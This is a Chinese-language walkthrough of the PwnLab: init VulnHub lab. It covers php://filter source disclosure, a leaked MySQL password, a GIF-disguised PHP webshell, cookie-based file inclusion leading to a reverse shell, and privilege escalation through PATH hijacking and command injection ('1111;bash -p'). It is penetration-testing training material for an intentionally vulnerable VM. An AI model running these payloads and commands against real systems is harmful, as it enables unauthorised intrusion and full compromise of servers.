PwnLab靶场PHP伪协议OSCP推荐代码审计命令劫持命令注入

下载链接:
PwnLab: init ~ VulnHub

安装:

打开vxbox直接选择导入虚拟电脑即可

正文:

先用nmap扫描靶机ip

nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到PwnLab文件夹下,命名为port方便后续查看

nmap -p- 192.168.1.4 -r -PN -oA PwnLab/port

(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御

系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到PwnLab文件夹下,命名为server方便后续查看

nmap -p 80,111,3306,60570 192.168.1.4 -sC -sV -r -O --version-all -A -oA PwnLab/server

 (-p:对指定的端口进行探测

   -sV:版本信息

   -sC:默认脚本扫描

    -A:启动Os检测,版本检测,脚本扫描和traceroute

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息)

访问80端口

想要上传文件需要先进行登录才行

我们对登陆位置进行sql注入尝试以及万能密码尝试

发现并不会成功

我们对该靶场进行目录扫描操作

dirsearch -u “192.168.1.4”

对config.php进行访问

发现为一片空白,没有读取出任何信息

返回到主页面

观察URL的结构,感觉他可能会存在文件包含漏洞

进行尝试文件包含漏洞

不行

既然是php,我们可以尝试使用下php伪协议

常用的php伪协议:

php://filter/read=convert.base64-encode/resource=indexphp://filter/resource=index

利用filter协议读文件,将index通过base64编码后进行输出。如果不进行编码,文件包含后就会当做php文件直接执行,我们可以进行编码后复制出来,在进行解码操作

读取成功

通过base64解码,成功得到index源码

我们用同样的方法,可以读取出upload以及config的源代码

我们同样将我们得到的base64数据进行解码,并保存起来

当我们将config解码出来后,我们得到了mysql的账号密码
 

root:H4u%QJ_H99

在之前的nmap扫描中就知道靶场的3306端口是开启状态

进行mysql登录

mysql -uroot -h 192.168.1.4 -p

登录成功

查看下数据库中的数据

show databases;

use Users;

show tables;

select * from users;

得到了三个账号密码

将密码进行base64解密并分别进行保存

回到80端口进行尝试用得到的账号密码进行登录

登录成功,进行文件上传尝试

根据我们之前得到的upload文件源码得知

对上传文件进行了白名单尝试,只允许上传后缀为jpg、jpeg、gif以及png文件

并且对文件头进行校验

准备好一句话木马并将文件头写为GIF89a

GIF89a<?phpsystem($_GET['132']);phpinfo();?>

保存为后缀为gif文件

尝试上传并进行bp抓包修改

上传失败

我们再次进行后缀修改,并尝试使用00截断进行上传

找到gif位置并将gif前的小数点改为00

再次进行上传

同样上传失败。。。。

查看之前获得到的index源代码

我们在该位置发现异常

在该位置未对$_COOKIE['lang']进行输入验证和过滤:攻击者可以通过修改$_COOKIE['lang']的值来执行潜在的攻击,例如包含恶意文件或执行任意代码。

代码解读:

isset($_COOKIE['lang']):这是一个条件语句,检查名为lang的Cookie是否存在。isset()函数

用于检测变量是否已设置并且非null。

如果$_COOKIE['lang']存在,代码将继续执行下一行。

include("lang/".$_COOKIE['lang']);:这行代码使用include语句来包含一个语言文件。它使

用$_COOKIE['lang']的值构建文件路径,并将该文件包含到当前的代码文件中。

获取shell:

根据该段代码的内容,我们可以构造一个名为“lang”的cookie从而造成文件包含漏洞

先正常上传后缀为gif的木马文件

上传完成后

右键下面的小图标,新建标签页面打开图像

该路径则为我们稍后构造的cookie文件包含所需要的路径

再次使用bp抓包,随便上传一个文件并修改cookie

在原有的cookie后添加

;lang=../upload/440f0eab6c78d0e3cb46c99f5d43d1b1.gif

如果使用bp上传后报错提示

Your browser sent a request that this server could not understand.

Request header field is missing ':' separator.

(我在之前的测试中并没有出现过此情况,并且在之前的测试中的cookie并没有这么长,所以在该位置报错了,遂我尝试使用hackbar进行构造cookie)

可以使用hackbar进行修改cookie(在火狐的插件中可以搜索到,一个收费一个免费,我用的是免费版)

load URL:将URL地址载入到hackbar

勾选上cookies并在最后的cookie行添加上我们构造好的cookie

最后点击execute

解析成功(因为在我们上传的一句话木马中加入了  phpinfo(),用来判断该木马是否解析成功)

但是我经过测试发现好像并不能利用该木马传参进行反弹shell

所以我们我们可以尝试使用kali目录下的php shell文件或者自己写一个php反弹shell文件

木马文件在kali的/usr/share/webshells/php目录下

cd /usr/share/webshells/php

将该文件内容复制出来并做对应的ip以及端口修改

将该位置修改为kali的ip以及nc监听的端口

并将该文件后缀修改为.gif

在kali中打开nc监听

nc -lvvp 8080

将该木马进行上传

(如果使用hackbar后再次点击upload会直接跳转到之前的phpinfo解析页面,我们需要再次打开hackbar并勾选cookie,将最后的我们添加的cookie删除掉,然后重新打开文件上传页面即可)

上传木马

并同样将该文件的路径以及名称进行保存

并再次随便上传一个文件(选不选择都行,主要目的是抓包并修改cookie,所以我这里就没有选择文件,直接点击的上传),bp抓包修改cookie

;lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif

如果还是出现了报错情况,可以尝试将浏览器的缓存以及cookie进行清除

nc监听成功

我们之前获得过三个账号密码,尝试进行用户切换,毕竟该用户权限太低了

提权:

su kent

出现报错提示,我们需要重新打开一个命令交互(Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck's Blog (lshack.cn)在该网站中有各种shell来执行命令)

查看是否有python环境

whereis python

python -c 'import pty; pty.spawn("/bin/sh")'

可以正常使用命令交互了

切换kent用户

cd

回到该用户文件夹下

在用户目录下也没有东西

ls

查看具有sudi权限的文件,看能否利用进行提权

find / -perm -u=s -type f 2>/dev/null

没有东西

切换下一个用户看看

(经过尝试mike用户的密码不正确)

su kane

切换到自己文件夹下

cd

查看当前文件夹下有哪些东西

ls

我们发现了该文件

尝试运行

报错

查看下该文件

strings msgmike

发现该文件可以用system权限执行cat命令,但是由于/home/mike/msg.txt文件不存在,所以报错了,那我们可以尝试使用命令劫持

在当前目录下写一个cat文件并给他运行权限

echo /bin/bash >cat
chmod +x cat

利用环境变量劫持,将环境变量修改为cat文件目录下也就是当前目录下

export PATH=.:$PATH

然后再次尝试运行msgmike

我们的用户变为了mike

因为该文件的所有用户以及所有组为mike,当我们运行该文件时,执行我们创建的cat文件里的bin/bash文件为mike权限,故我们的用户切换为了mike

当我们用cd切换到当前用户目录时,发现我们还是处在kane目录下,因为我们现在本质上还是kane用户,我们只不过是劫持了msgmike文件中的cat命令,又因为msgmike文件归属于mike,所以我们现在拥有了mike所拥有的权限

我们手动切换到mike文件夹下

cd /home/mike

我们运行该目录下的msg2root文件

发现该文件是用来给root用户发送消息的

我们使用同样的方法来查看下该文件

strings msg2root

发现该文件则直接指定了具体目录,所以我们没办法再次进行劫持命令

注意这里的%s  该变量则是我们给root用户发送消息的变量

当我们输入一串字符串时,则会赋值给%s ,并将消息存储到/root/messages.txt文件下

那我们可以尝试利用该文件构造一个拼接命令,让他来执行我们需要的命令

./msg2root
1111;id

我们尝试使用分号将命令进行隔开,类似于手动sql注入万能密码的拼接方法

成功执行

尝试使用该方法开启一个新bash(命令交互),-p为用最高权限开启

1111;bash -p

提权成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/283896.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络——物理层(物理传输介质和物理层的设备)

计算机网络——物理层&#xff08;物理传输介质和物理层的设备 物理传输介质导向性传输介质双绞线同轴电缆光纤 非导向性传输介质无线电波多径效应 微波地面微波通信ISM 频段 卫星通信 物理层设备中继器集线器中继器和集线器的区别 我们今天进入物理层的物理传输介质和物理层的…

uniapp+uview 学习笔记(二)—— H5开发

文章目录 前言一、开发步骤1.创建项目2.安装组件库并导入使用3.封装请求4.国际化5.打包 总结 前言 本文主要介绍使用uniapp框架和uview组件库进行H5开发&#xff0c;需要用到的开发工具为HBuilder X。 一、开发步骤 1.创建项目 打开HBuilder X&#xff0c;在顶部栏目选择 新…

6、kubenetes 卷

1、什么是卷 在某些场景下&#xff0c;我们可能希望新的容器可以在之前容器结束的位 置继续运⾏&#xff0c;⽐如在物理机上重启进程。可能不需要&#xff08;或者不想要&#xff09; 整个⽂件系统被持久化&#xff0c;但又希望能保存实际数据的⽬录。 Kubernetes通过定义存储…

基于华为ensp的企业网络规划(新版)

基于华为ensp的企业网络规划&#xff08;新版&#xff09; 第一章 项目概述1.1 项目总体描述1.2 项目总体功能要求 第二章 可行性分析2.1 经济效益分析2.2 项目分析2.3 技术可行性分析2.4 项目风险分析 第三章 需求分析3.1 总体需求3.2 具体需求3.3 非功能需求 第四章 总体设计…

你是不是MySQL老司机?来看看这些explain结果你能解释吗?[害羞]

表结构表数据行数 这里Extra为什么是Filesort? 这里Extra为什么Using index 从这儿你可以猜出我MySQL的版本吗&#xff1f; 这里Extra为什么是NULL? 这里Extra为什么是Filesort? 你知道平时SQL该怎么写了吗&#xff1f;

【ORB-SLAM3】在 Ubuntu20.04 上编译 ORM-SLAM3 并使用 D435i 运行测试

【ORB-SLAM3】在 Ubuntu20.04 上编译 ORM-SLAM3 并使用 D435i 运行测试 1 Prerequisites1.1 C11 or C0x Compiler1.2 Pangolin1.3 OpenCV1.4 Eigen3 2 安装 Intel RealSense™ SDK 2.02.1 测试设备2.2 编译源码安装 (Recommend)2.3 预编译包安装 3 编译 ORB-SLAM34 使用 D435i …

【PHP + 代码审计】数组函数

&#x1f36c; 博主介绍&#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 hacker-routing &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】 &#x1f389;点赞➕评论➕收…

【并查集专题】【蓝桥杯备考训练】:网络分析、奶酪、合并集合、连通块中点的数量、格子游戏【已更新完成】

目录 1、网络分析&#xff08;第十一届蓝桥杯省赛第一场C A组/B组&#xff09; 2、奶酪&#xff08;NOIP2017提高组&#xff09; 3、合并集合&#xff08;模板&#xff09; 4、连通块中点的数量&#xff08;模板&#xff09; 5、格子游戏&#xff08;《信息学奥赛一本通》…

流畅的 Python 第二版(GPT 重译)(五)

第九章. 装饰器和闭包 有人对将这个功能命名为“装饰器”的选择提出了一些抱怨。主要的抱怨是该名称与其在 GoF 书中的用法不一致。 名称 decorator 可能更多地归因于其在编译器领域的用法—语法树被遍历并注释。 PEP 318—函数和方法的装饰器 函数装饰器让我们在源代码中“标记…

【Linux】线程控制{fork() / vfork / clone/pthread_join()/pthread_cancel()}

文章目录 1.fork() / vfork / clone2.线程等待2.1pthread_join()2.2pthread_tryjoin_np() 3.pthread_exit()4.pthread_cancel()5.一些线程相关的问题6.pthread_detach()7.pthread_self()8.认识线程标识符&#xff1a;pthread_self()获取线程标识符9.POSIX线程库 1.fork() / vfo…

2024年全球生成人工智能全景图【中文】

2024年全球生成人工智能全景图【中文】 在过去的一年中&#xff0c;产生式人工智能&#xff08;GenAI&#xff09;无疑成为了全球各行各业的热门话题。特别是ChatGPT的发布&#xff0c;激发了公众对GenAI强烈的兴趣和激动&#xff0c;唤醒了我们对其变革潜力的认知。 虽然我们…

漫谈微服务网关

一、什么是服务网关 服务网关 路由转发 过滤器 1、路由转发&#xff1a;接收一切外界请求&#xff0c;转发到后端的微服务上去&#xff1b; 2、过滤器&#xff1a;在服务网关中可以完成一系列的横切功能&#xff0c;例如权限校验、限流以及监控等&#xff0c;这些都可以通过…

GO-初识包管理

初识包管理&#xff0c;知道项目中文件和文件夹之间的关系 输出&#xff0c;代码&#xff0c;在go编译器运行时会显示在屏幕中 初识数据类型 整型&#xff0c;数字。例如&#xff1a;1、2、3、4 字符串类型&#xff0c;表示文本信息的。例如:“张三”“李四” 布尔类型&#x…

【嵌入式——QT】Charts常见的图表的绘制

【嵌入式——QT】Charts常见的图表的绘制 柱状图QBarSetQBarSeriesQBarCategoryAxis图示 饼图堆叠柱状图百分比柱状图散点图和光滑曲线图代码示例 柱状图 QBarSet 用于创建柱状图的数据集。 主要函数 setLabel()&#xff1a;设置数据集标签 &#xff1b;setLabelBrush()&am…

AI新工具(20240322) 免费试用Gemini Pro 1.5;先进的AI软件工程师Devika;人形机器人Apptronik给你打果汁

✨ 1: Gemini Pro 1.5 免费试用Gemini Pro 1.5 Gemini 1.5 Pro是Gemini系列模型的最新版本&#xff0c;是一种计算高效的多模态混合专家&#xff08;MoE&#xff09;模型。它能够从数百万个上下文Token中提取和推理细粒度信息&#xff0c;包括多个长文档和数小时的视频、音频…

LabVIEW飞行器螺旋桨性能测试与数据监控

LabVIEW飞行器螺旋桨性能测试与数据监控 开发LabVIEW的电动飞行器螺旋桨性能测试与数据监控系统&#xff0c;专门针对电动飞行器螺旋桨在运行过程中的性能测试和监控需求。通过采集转速、转矩、拉力和温度等关键参数&#xff0c;系统能够实时监测和分析螺旋桨的状态&#xff0…

「渗透笔记」致远OA A8 status.jsp 信息泄露POC批量验证

前言部分 在本节中&#xff0c;我会分两部分来说明致远OA A8 status.jsp 信息泄露的验证问题&#xff0c;其实就是两种验证方式吧&#xff0c;都一样&#xff0c;都是批量验证&#xff0c;主要如下所示&#xff1a; 通过Python脚本进行批量验证&#xff0c;但是前提是你可以收…

力扣hot100:153. 寻找旋转排序数组中的最小值(二分的理解)

由力扣hot100&#xff1a;33. 搜索旋转排序数组&#xff08;二分的理解&#xff09;-CSDN博客&#xff0c;我们知道二分实际上就是找到一个策略将区间“均分”。对于旋转数组问题&#xff0c;在任何位置分开两个区间&#xff0c;如果原区间不是顺序的&#xff0c;分开后必然有一…

AI智能分析网关V4在养老院视频智能监控场景中的应用

随着科技的快速发展&#xff0c;智能监控技术已经广泛应用于各个领域&#xff0c;尤其在养老院这一特定场景中&#xff0c;智能监控方案更是发挥着不可或缺的作用。尤其是伴随着社会老龄化趋势的加剧&#xff0c;养老院的安全管理问题也日益凸显。为了确保老人的生活安全&#…

旅游小程序开发的费用及功能

随着科技的发展和智能手机的普及&#xff0c;越来越多的行业开始利用小程序来进行线上服务。旅游业作为一个重要的服务业&#xff0c;也纷纷推出了自己的旅游小程序&#xff0c;以方便游客在线预订、查询景点信息等。那么&#xff0c;旅游小程序开发的费用是多少&#xff1f;功…